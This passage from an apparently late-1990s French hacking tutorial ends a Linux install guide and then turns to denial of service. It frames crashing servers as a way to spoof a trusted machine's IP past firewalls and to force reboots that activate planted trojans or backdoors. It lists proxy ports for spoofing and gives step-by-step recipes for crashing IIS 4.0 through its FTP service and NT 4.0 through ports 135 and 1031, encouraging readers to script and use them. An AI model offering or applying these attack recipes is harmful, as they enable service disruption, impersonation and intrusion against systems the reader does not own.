C'est un packetage RPM comme vous avez pu le voir avec l'extension dont l'installation se fait toujours de la même manière:
          rpm option nom_du_paquetage
Donc ici on va faire:
          rpm -i kdebase-1.1-1rh5x.src.rpm
          rpm -i kdelibs-1.1-1rh5x.src.rpm
          rpm -i kdesupport-1.1-1rh5x.src.rpm
Pour plus d'infos sur rpm et sur ses options lisez un book sur Linux.

Pour arrêter Linux faites exit si vous êtes sous X-Window puis une fois en mode console faites exit puis Alt-Ctrl-Suppr ou faites shutdown ou encore halt ou reboot.

Derniere chose la liste des materiels non compatibles se trouve dans la majorité des livres parlant de Linux (livre ça veut dire au moins 600 pages) alors si vous les avez vous risquez d'avoir des problèmes avec ou qu'ils ne soient tout simplement pas détectés. Alors vous avez deux possibilités, soit vous en changez ou soit vous allez voir s'il y a eu des mises à jour du noyau ou des drivers sur les sites du constructeur du périférique qui pose problème ou sur celui du constructeur de la version de Linux (ici RedHat: http://www.redhat.com/).

Voila c'est fini, bonne route dans ce nouvel univers.
 


Backdoors :

Voir article sur les backdoors


NFS :
 Voir article sur NSF


NIS :

 
Voir article sur NIS


Effacer ses traces :

 Voir article


DoS (Denial of Service) :

Denial of service qu'est ce que c'est? Simple: un plantage en règle. Ici je vais vous expliquer comment en provoquer un sur différents Os et différentes versions. Il en existante des centaines de différentes alors je ne pourrais pas toutes vous les mettre ici et d'ailleur je suis loin d'en connaître des centaines de toute façon. Cela pourrait s'apparenter à du crashing mais c'est du hacking, en tout cas si ce n'est pas fait pour le plaisir mais pour certaines raison comme la mise en activité d'un troyen, d'une backdoor ou pour faire du spoofing avec l'ip du serveur crashé. Le effets d'un nuker peut être assimilé à un DoS même s'il sagit plutôt d'un O.O.B. (Out Of band) car l'effet est le même (en tout cas s'il réussi).

Vous savez que pour faire du spoofing il faut:

-Soit renter dans une bécane par un port permettant de se rediriger après ailleur. Cela aura pour effet de prendre son ip. Ensuite vous vous redirigerez sur la bécane cible pour se faire passer pour quelqu'un d'autre et ainsi détourner la vigilence de firewall et autres. Port que je connais permettant de spoofer: 23 (tenet), 8080, 1080 (socks), 80 (http), 3129 (wingate), 70 (gopher), 8000 (http), 8001, 8002, 443(https). Et il doit y en avoir plein d'autres mais ce sont les plus connus et les plus utlisés.

-Soit utiliser une ip qui n'existe pas déjà. Et comme le but du spoof c'est de prendre une ip à qui un serveur fait confiance, l'ip existe forcement et elle est fixe (pas dynamique) ce qui veut dire que le serveur est en permanence connecté et que si vous voulez prendre son ip il va falloir le déconnecter car vous savez que deux ip ne peuvent pas être identiques sur un même réseau parce que ça foutrait grave la merde (alors il y a des sécurités pour que vous ne puissiez pas). Donc le serveur il va falloir le déconnecter et c'est là qu'arrive le DoS.

Je disais que le DoS servait aussi à la mise en route des troyens et de certaine backdoors et bien je vais vous expliquer rapidement pourquoi sans empiéter sur l'article des backdoors. la plupars des troyens ont besoin que l'ordinateur sur lequel ils tournent soit rebooté pour se mettre en route. La problème des serveurs est que la plupars du temps ils sont connectés 24/24h et 7/7j et donc ils ne rebootent pas d'eux même donc il va falloir les faire rebooter malgré eux. Et c'est aussi le cas de certaines backdoors. Si vous ne savez pas ce que c'est reportez vous l'article que j'ai fais sur elles plus haut. La majorité des bakdoors est effective imédiatement mais cartaines (notamment celles que l'on met dans un programme particulier ne se lançant qu'au boot) demandent un redemarrage. Bon la plupars du temps quand vous placez une backdoor c'est que vousêtes déjà root donc vous pouvez rebooter vous même mais bon le cas d'un DoS pour activer une backdoor s'est déjà présenté alors je vous l'explique.

Bref un DoS ça sert et c'est un composant essentielle de techniques de hacking un peu poussées donc pour moi ce n'est pas du crashing mais tout dépends de comment vous l'employez. Je vais donc vous ennumerez quelques manières de faire un Denial of service sur différents OS. D'autre techniques viendront s'agouter avec le temps, voici déjà celles que je vous propose:

IIS 4.0 avec serveur FTP:
IIS est un serveur web dévellopé par microsoft tournant sur n'imoorte quel je pense. Si la bécane o il tourne à un port FTP ouvert, même anonymes, connectez y voussimultanémenun dizaine de fois et envoyez sur chacune des dix connections les commandes "pu" ou "delete". je vous conseillerais de faire un script (en c parce que le spoof est plus aisé sous linux mais pour un DoS juste ça n'a pas d'inportance) qui fasse toutes ces opérations à votre place sinon vous ne serez pas assez rapide. Ensuite le serveur devrait vous envoyer une erreur 426 (connection closed, transfert aborded ou un truc dans le genre). Cette attaqe rends le serveur inutilisatble par n'import quel user, root y compris et la seule manière de le rendre opérationnel à nouveau est des rebooter le serveur. Ce qui veut dire que jusqu'au reboot vous pourrez spoofer. Si vous utilisez l'ip du serveur crashé et que lui essaye de se reconnecter il n'y arrivera pas donc vous pouvez spoofer pendant un an si vous voulez et surtout si vous ne vous déconnectez pas. Pas de patch dévellopés à ma connaissance alors amusez vous bien mais foutez pas la merde.

NT 4.0 n'ayant pas IIS (NT PPTP):
Connectez vous sur le port 135 (loc-srv) ou sur le port 1031(iad2) avec telnet et envoyez plein de carctères aléatoire, cela bloquera le serveur. Cela marcha aussi sur les NT 4.0 qui ont IIS pour le port 135 mais pas pour le 1031 (pourtant plus efficasse) car IIS le choisi aléatoirement et il y a donc peu de chance que ce soit celui là. Mais c'est comme pour tout, il faut toujours essayer. Comme pour le DoS de IIS 4, il va falloir que vous créez un script en c pour générer des caractères aléatoires car cela vous fera gagner du temps, sera plus efiicasse et moins chiant. Pas de patchs existant pour cette atrtque mais l'admin peut décider de fermer ces port s'il n'en a pas besoin et là vous l'avez dans le baba.

Voila c'est tout pour l'instant mais j'en mettrais d'autres bientôt. Je sais c'est ce que j'ai dis aussi sur les cgi mais ça va venir. Et puis je morcelle peut être les information pour vous donner envie de revenir qui sait. ;-) Ce sera surtout des attaques sur NT car c'est microsoft mais j'en ai aussi sur Unix alors ne vous inquiétez pas.
 


- FIN -

(page réalisée par Rhylkim)